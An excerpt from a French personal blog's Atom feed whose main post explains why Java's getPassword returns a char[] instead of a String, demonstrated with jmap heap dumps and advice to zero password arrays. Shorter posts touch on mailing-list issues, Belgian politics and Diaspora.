&lt;p&gt;&lt;em&gt;No comment&lt;/em&gt;, je m&amp;rsquo;y attends et j&amp;rsquo;envoie « à la main » si j&amp;rsquo;ai le temps. Je me demande quand même si la contrainte est trop forte ou bien la méthode mauvaise mais pour rappel, &lt;a href="http://groups.google.com/"&gt;Google groups&lt;/a&gt; et moult autres &lt;em&gt;mailing list&lt;/em&gt; font pareil. Il suffit de lire &lt;a href="http://groups.google.com/support/bin/answer.py?hl=en&amp;amp;answer=46608"&gt;cette FAQ Google&lt;/a&gt; ou &lt;a href="http://unsubscribegooglegroups.com/"&gt;celle-ci&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le second problème&lt;/strong&gt; est inattendu et m&amp;rsquo;incombe. Les &lt;strong&gt;accents dans les logins&lt;/strong&gt; sont transformés.&lt;/p&gt;
&lt;p&gt;Lorsque le login contient des accents, par exemple &lt;code&gt;Cédric&lt;/code&gt;, procmail reçoit &lt;code&gt;=?iso-8859-1?Q?C=E9ric?=&lt;/code&gt; et mon script aussi et donc ça bugge. L&amp;rsquo;utilisateur reçoit un mail d&amp;rsquo;erreur ce qui est dommage.&lt;/p&gt;
&lt;p&gt;Si quelqu&amp;rsquo;un a une idée, je suis preneur.&lt;/p&gt;
&lt;p&gt;Voilà voilà, tout ça pour dire que &lt;strong&gt;mon mot de passe c&amp;rsquo;est; secret&lt;/strong&gt;, mais &lt;em&gt;chut&lt;/em&gt;, ne le dites pas.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Si tu connais un login, tu fournis un email jetable (genre &lt;a href="http://mailinator.org/"&gt;mailinator&lt;/a&gt;) et tu obtiens un mot de passe. Si tu choisis le login du vieux pellot qui ne viendra sans doute jamais sur le site, c&amp;rsquo;est bon !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mailinator par exemple ne permet pas l&amp;rsquo;envoi de mail juste la réception&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>getText versus getPassword</title><link href="http://blog.namok.be/2011-02-01-getText-versus-getPassword.html" rel="alternate"/><published>2011-02-01T00:00:00+01:00</published><updated>2011-02-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-02-01:/2011-02-01-getText-versus-getPassword.html</id><summary type="html">Un peu de développement d'application sécurisée en expliquant la différence entre un tableau de caractères et une chaine.</summary><content type="html">&lt;p&gt;Je lis dans la documentation de l&amp;rsquo;API java que &lt;code&gt;getText&lt;/code&gt; sur un &lt;code&gt;JPasswordFiled&lt;/code&gt; est &lt;em&gt;deprecated&lt;/em&gt;. En effet, &lt;code&gt;getText&lt;/code&gt; retourne un string et &lt;code&gt;getPassword&lt;/code&gt; est préféré car il retourne un &lt;code&gt;char[]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Un étudiant me faisait la remarque qu&amp;rsquo;il préférait quand même utiliser &lt;code&gt;getText&lt;/code&gt; car ça l&amp;rsquo;embête de manipuler le &lt;code&gt;char[]&lt;/code&gt; ! Après avoir coupé la tête dudit étudiant, j&amp;rsquo;explique ici à sa dépouille le pourquoi d&amp;rsquo;une telle approche.&lt;/p&gt;
&lt;p&gt;Les String en Java son immuables (&lt;em&gt;immutable&lt;/em&gt;).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the Java programming language, unlike C, an array of char is not a String,and neither a String nor an array of char is terminated by &amp;lsquo;\u0000&amp;rsquo; (the NUL character). A String object is immutable, that is, its contents never change, while an array of char has mutable elements. The method toCharArray in class String returns an array of characters containing the same character sequence as a String. The class StringBuffer implements useful methods on mutable arrays of characters.&lt;/p&gt;
&lt;p&gt;Source: Java Langage Specifications (p294, ou 328 du PDF)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ce qui veut dire que si je sauve une variable de type &lt;em&gt;String&lt;/em&gt; dans mon code, il est plus que probable que sa valeur reste en RAM même après si je perds la référence vers ce string. Je m&amp;rsquo;explique.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AAAAAAAA&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La chaine &amp;ldquo;AAAAAAA&amp;rdquo; se trouve quelque par en RAM, ça ne me surprend pas, on peut dire que ça me rassure même.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AAAAAAA&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;BBBBBBB&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je pourrais m&amp;rsquo;attendre à ce que la chaine &amp;ldquo;AAAAAAAA&amp;rdquo; ne se trouve plus en RAM puisque j&amp;rsquo;ai changé sa valeur. Mais puisque les &lt;em&gt;string&lt;/em&gt; sont immuables en java, il n&amp;rsquo;en est rien, la chaine est toujours en RAM.&lt;/p&gt;
&lt;p&gt;Pour vérifier ceci, j&amp;rsquo;utilise deux programmes. Le premier, &lt;strong&gt;jmap&lt;/strong&gt;, fourni avec mon JDK me permets d&amp;rsquo;obtenir un &lt;em&gt;dump&lt;/em&gt; de la mémoire d&amp;rsquo;un processus. Une instruction de cette forme fait l&amp;rsquo;affaire;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;jmap&lt;span class="w"&gt; &lt;/span&gt;-dump:live,format&lt;span class="o"&gt;=&lt;/span&gt;b,file&lt;span class="o"&gt;=&lt;/span&gt;file.dump&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le second, &lt;strong&gt;hexdump&lt;/strong&gt;, me permet de visualiser (en fait placer le contenu dans un fichier et l&amp;rsquo;éditer avec vi afin de me faciliter les recherches) le contenu de ce fichier &amp;ldquo;dump&amp;rdquo;… il me reste à chercher les chaines de caractères qui m&amp;rsquo;intéressent.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;hexdump&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;file.dump&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;file.hexdump
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J&amp;rsquo;écris un petit programme Java simple tel que;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.Scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;StringCharArray&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clavier&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Scanner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Password chaine 1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Password chaine 222&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;W&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;O&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;R&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;D&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;gc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;clavier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// wait&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Si ce que je pense est correct, je m&amp;rsquo;attend à trouver les chaines : &lt;code&gt;Password chaine 1&lt;/code&gt;, &lt;code&gt;Password chaine 222&lt;/code&gt; et &lt;code&gt;ppaasswwoorrdd&lt;/code&gt; mais pas &lt;code&gt;PASSWORD&lt;/code&gt;. Voici les screenshots que j&amp;rsquo;obtiens.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="/images/screenshot-dump-deux-1.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="/images/screenshot-dump-deux-2.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="/images/screenshot-dump-deux-4.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="/images/screenshot-dump-deux-5.png"&gt;&lt;/p&gt;
&lt;p&gt;Ok, j&amp;rsquo;ai raison &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, mais c&amp;rsquo;est peut-être un coup de bol.&lt;/p&gt;
&lt;p&gt;Je pourrais/devrais m&amp;rsquo;arrêter là mais pour être complet, je veux tester effectivement avec un GUI et un &lt;code&gt;JPasswordField&lt;/code&gt;. J&amp;rsquo;écris un code permettant d&amp;rsquo;afficher ceci&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la première zone est un &lt;code&gt;JTextFiled&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;la seconde un &lt;code&gt;JPasswordFields&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;le bouton &amp;ldquo;Get fields&amp;rdquo; permet d&amp;rsquo;associer les valeurs à des variables tandis que&lt;/li&gt;
&lt;li&gt;le bouton &amp;ldquo;Garbage&amp;rdquo; repositionne ces variables à &lt;em&gt;null&lt;/em&gt; et appelle le &lt;em&gt;garbage collector&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="/images/screenshot-gui.png"&gt;&lt;/p&gt;
&lt;p&gt;…et là, c&amp;rsquo;est moins concluant. J&amp;rsquo;entre les mêmes valeurs que dans le premier exemple et je fais passer le garbage collector. Le premier string disparait, ainsi que le premier &lt;code&gt;char[]&lt;/code&gt; mais pas le deuxième string ni le deuxième &lt;code&gt;char[]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;en conclus que le garbage collector n&amp;rsquo;est pas passé. Par contre je devrais voir le premier string… sinon je ne comprend pas l&amp;rsquo;utilité d&amp;rsquo;utiliser &lt;code&gt;char[]&lt;/code&gt; dans ce cas.&lt;/p&gt;
&lt;p&gt;Je suis preneur de toutes idées…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;un jour plus tard&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;Dire qu&amp;rsquo;un string est immuable veut dire que je ne peux pas le modifier &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. On n&amp;rsquo;imagine pas écrire du code comme ceci :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;un string&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// s[0] = &amp;#39;T&amp;#39;; // compile pas : immuable&lt;/span&gt;
&lt;span class="c1"&gt;// s.charAt(0) = &amp;#39;T&amp;#39;; // compile pas : immuable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Par contre je peux le faire avec un &lt;code&gt;char[]&lt;/code&gt;. J&amp;rsquo;en conclus donc et c&amp;rsquo;est important que : l&amp;rsquo;utilisation de &lt;code&gt;getPAssword&lt;/code&gt; ne peut aller de paire qu&amp;rsquo;avec une mise à 0 des caractères après utilisation comme induit sur le &lt;a href="http://download.oracle.com/javase/tutorial/uiswing/components/passwordfield.html"&gt;site d&amp;rsquo;oracle&lt;/a&gt; . Du genre;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jPasswordFiled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPassword&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;// vérification de la validité de ce mot de passe&lt;/span&gt;
&lt;span class="n"&gt;Arrays&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Voilà qui est clair maintenant….&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;édité quelques années plus tard&lt;/strong&gt; (octobre 2025)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Swing n&amp;rsquo;est plus, JavaFX lui succède (ou lui a succédé car les applications &lt;em&gt;stand alone&lt;/em&gt; tendent à laisser la place aux applications web). La classe &lt;code&gt;JPasswordField&lt;/code&gt; a cédé la place à la classe &lt;code&gt;PasswordField&lt;/code&gt; qui hérite de &lt;code&gt;TextField&lt;/code&gt; et propose donc une méthode &lt;code&gt;String getText()&lt;/code&gt; (par héritage). Il est donc possible d&amp;rsquo;écrire : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pwField&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PasswordField&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pwField&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Oups !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Puisque l&amp;rsquo;on est obligé d&amp;rsquo;utiliser un &lt;code&gt;String&lt;/code&gt;, le mieux est de limiter sa durée de vie au maximum. Sans doute que la &lt;em&gt;team&lt;/em&gt; JavaFX a jugé que comme des bibliothèques comme &lt;code&gt;BCrypt&lt;/code&gt; attendent un string, il est inutile de leur passer un &lt;code&gt;char[]&lt;/code&gt;. &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Merci à mon collègue Nicolas pour le rappel de l&amp;rsquo;immuabilité des strings&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Re-merci à Nicolas qui est au taquet&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Bart bu</title><link href="http://blog.namok.be/2011-01-14-Bart-bu.html" rel="alternate"/><published>2010-12-01T00:00:00+01:00</published><updated>2010-12-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-12-01:/2011-01-14-Bart-bu.html</id><summary type="html">Bart bu</summary><content type="html">&lt;p&gt;Benoit Poelvoorde &lt;a href="http://www.laprovince.be/actualite/belgique/2011-01-11/poelvoorde-gardons-nos-barbes-jusqu-a-ce-que-la-belgique-se-releve-838712.shtml"&gt;nous appelle à nous laisser pousser la barbe&lt;/a&gt; jusqu&amp;rsquo;à ce que l&amp;rsquo;on ait un gouvernement. Il propose de ne plus se raser “jusqu&amp;rsquo;à ce que la Belgique se relève” et soit dotée d&amp;rsquo;un gouvernement.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ne soyez pas surpris par cette pilosité. Nous avons décidé de ne plus nous raser tant que nous n&amp;rsquo;aurons pas de gouvernement en Belgique&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comme je trouve ça drôle, je risque fort de ne pas me raser ces prochains jours (surtout que ça ne me demandera pas un grand effort).&lt;/p&gt;
&lt;p&gt;Dans la foulée, je m&amp;rsquo;intéresse un peu à la politique mais c&amp;rsquo;est difficile. J&amp;rsquo;ai quand même vu passer un article de &lt;a href="http://touring.be/"&gt;Touring&lt;/a&gt; (&lt;a href="http://levif.rnews.be/fr/news/actualite/belgique/touring-contre-une-eventuelle-regionalisation-du-code-de-la-route/article-1194885266429.htm"&gt;dont parle le Vif&lt;/a&gt; et &lt;a href="http://www.dhnet.be/infos/societe/article/199736/vers-un-code-de-la-route-regional.html"&gt;la DH&lt;/a&gt; ) concernant la (probable) &lt;strong&gt;régionalisation du code de la route&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;après ce que j&amp;rsquo;en comprend, ça peut devenir très drôle…&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Au niveau de &lt;strong&gt;l&amp;rsquo;Europe&lt;/strong&gt; on essaie de standardiser le code de la route afin de faciliter la vie de l&amp;rsquo;automobiliste&lt;/li&gt;
&lt;li&gt;En Flandre-Wallonie, on va régionaliser ce code de la route afin qu&amp;rsquo;il soit partout le même en Europe mais différent en Wallonie, en Flandre et à Bruxelles&lt;/li&gt;
&lt;li&gt;Il pourrait y avoir des différences en termes de code de la route mais également en terme de perception des amendes. Par exemple, pour une même infraction : en Flandre,j&amp;rsquo;ai un retrait de permis, en Wallonie, je paie une amende et à Bruxelles on montre « le gros doigt ».&lt;/li&gt;
&lt;li&gt;Les flamands sont d&amp;rsquo;avis de faire baisser les limitations de vitesse de 90Km/h à 70Km/h pour accroitre la sécurité faire diminuer le nombre de panneaux de signalisation à placer et entretenir ^^&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bref, on est pas encore sorti de l&amp;rsquo;auberge.&lt;/p&gt;
&lt;p&gt;Pour une &lt;strong&gt;Belgique au poil&lt;/strong&gt;&lt;/p&gt;</content></entry><entry><title>Facebook versus Diaspora</title><link href="http://blog.namok.be/2010-12-01-Facebook-versus-Diaspora.html" rel="alternate"/><published>2010-12-01T00:00:00+01:00</published><updated>2010-12-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-12-01:/2010-12-01-Facebook-versus-Diaspora.html</id><summary type="html">Alternative à Facebook et consorts</summary><content type="html">&lt;p&gt;Ça fait quelques mois que l&amp;rsquo;&lt;a href="http://fr.readwriteweb.com/2010/05/06/a-la-une/projet-diaspora-anti-facebook/"&gt;on parle de &lt;strong&gt;Diaspora&lt;/strong&gt;&lt;/a&gt;, &lt;a href="http://linuxfr.org/2010/09/16/27387.html"&gt;LinuxFR&lt;/a&gt; a relayé la nouvelle et aujourd&amp;rsquo;hui (1 déc 2010) dans &lt;a href="http://metrotime.be/"&gt;Métro&lt;/a&gt; on annonce la sortie de la &lt;em&gt;release &lt;strong&gt;alpha&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
